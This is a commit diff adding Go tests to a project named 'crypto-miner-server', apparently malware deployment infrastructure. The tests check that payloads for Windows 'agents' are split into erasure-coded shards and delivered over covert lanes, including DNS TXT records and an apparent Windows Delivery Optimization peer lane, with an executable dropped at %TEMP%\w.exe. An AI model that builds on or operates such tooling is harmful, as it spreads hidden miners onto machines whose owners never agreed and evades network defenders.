Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/internal/api/deploy_plan_erasure_test.go

@@ -0,0 +1,93 @@
+package api
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"testing"
+
+	"crypto-miner-server/internal/erasure"
+
+	"github.com/go-chi/chi/v5"
+)
+
+func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1",
+	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
+		t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
+	}
+	if len(plan.ErasurePlan.Shards) != 6 {
+		t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
+	}
+	if plan.ErasurePlan.PayloadSHA256 == "" {
+		t.Fatal("expected payload sha256")
+	}
+	for _, ref := range plan.ErasurePlan.Shards {
+		if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
+			t.Fatalf("missing stored shard %d", ref.Index)
+		}
+	}
+}
+
+func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return false }, store)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1",
+	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan != nil {
+		t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
+	}
+}
+
+func TestPublicErasureShardEndpoint(t *testing.T) {
+	store := erasure.NewShardStore()
+	payload := []byte("public-erasure-shard")
+	plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
+	if err != nil {
+		t.Fatal(err)
+	}
+	h := NewPublicHandler(nil, "", nil)
+	h.BindErasureShardStore(store)
+
+	r := chi.NewRouter()
+	r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
+	req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
+	rec := httptest.NewRecorder()
+	r.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.Len() == 0 {
+		t.Fatal("empty shard body")
+	}
+}
+
+func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+	pt := NewPathTracerHandler(nil)
+	h.BindPathTracer(pt)
+	plan, err := h.buildPlan(deployPlanRequest{
+		AgentID: "seed-1", Platform: "windows", BuildID: "b1",
+	}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.ErasurePlan == nil {
+		t.Fatal("expected erasure plan")
+	}
+}